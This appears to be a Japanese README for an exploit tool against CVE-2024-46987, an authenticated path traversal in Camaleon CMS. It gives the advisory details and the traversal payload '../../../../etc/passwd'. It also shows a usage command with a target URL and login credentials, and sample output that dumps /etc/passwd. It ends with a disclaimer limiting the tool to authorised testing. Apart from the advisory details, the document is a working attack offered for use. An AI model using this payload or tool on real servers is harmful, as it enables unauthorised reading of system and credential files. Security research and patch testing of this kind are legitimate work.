CVE-2024-46987 – Camaleon CMS の認証済みパストラバーサル / 任意ファイル読み取り

CVE-2024-46987 は、Camaleon CMS（Ruby on Rails ベースのコンテンツ管理システム）における認証済みパストラバーサル脆弱性（CWE-22）です。これにより、ログイン済みユーザー（低権限でも）が MediaController#download_private_file アクションを介してサーバー上の任意のファイルを読み取ることができます。

• 公開日: 2024年9月18日
• CVSS v3.1: 7.7 High
  ベクター: CVSS:3.1/AV:N/AC:L/PR:L/UI:N/S:C/C:H/I:N/A:N
• CWE: CWE-22（パス名の制限ディレクトリへの不適切な制限）、CWE-200（機密情報の露出）
• 影響を受けるバージョン: Camaleon CMS ≤ 2.8.0（2.9.0でも動作するという報告もあります）
• 修正済みバージョン: ≥ 2.8.2（推奨: 最新の2.8.xまたは2.9.xにアップグレード）
• アドバイザリ:
  • GitHub Advisory GHSA-cp65-5m9r-vc2c
  • NVD CVE-2024-46987
  • GitHub Security Lab GHSL-2024-183

脆弱性の概要

有効な認証情報を持つ攻撃者は、次のような細工されたリクエストを送信できます: /admin/media/download_private_file?file=../../../../etc/passwd

必要要件のインストール

• pip install -r requirements.txt

または

• pip install -r requests fire

使用方法

• まず新しいユーザーを作成します

python cms-exploit.py \
  --url http://target.local \
  --username neal \
  --password 'Caffery@123' \
  --cmd /etc/passwd

• 出力例:

[+] Login successful
[*] Requesting: http://target.local/admin/media/download_private_file?file=../../../etc/passwd
[+] Success – content:
root:x:0:0:root:/root:/bin/bash
daemon:x:1:1:daemon:/usr/sbin:/usr/sbin/nologin
.
.

注記: このスクリプトはRailsスタイルのログインフォーム（user[email]、user[password]、authenticity_token）を想定しています。ターゲットがカスタム名を使用している場合は、ペイロードのフィールドを調整してください。

法的および倫理的警告

このツールは、教育目的および許可されたセキュリティテストの目的でのみ提供されます。

所有しているシステム、または明示的な書面によるテスト許可を得たシステム（例: バグバウンティプログラム、内部ペンテスト、HTBなどのラボ）でのみ使用してください。

不正使用は法律に違反する可能性があります。

作者は誤用について責任を負いません。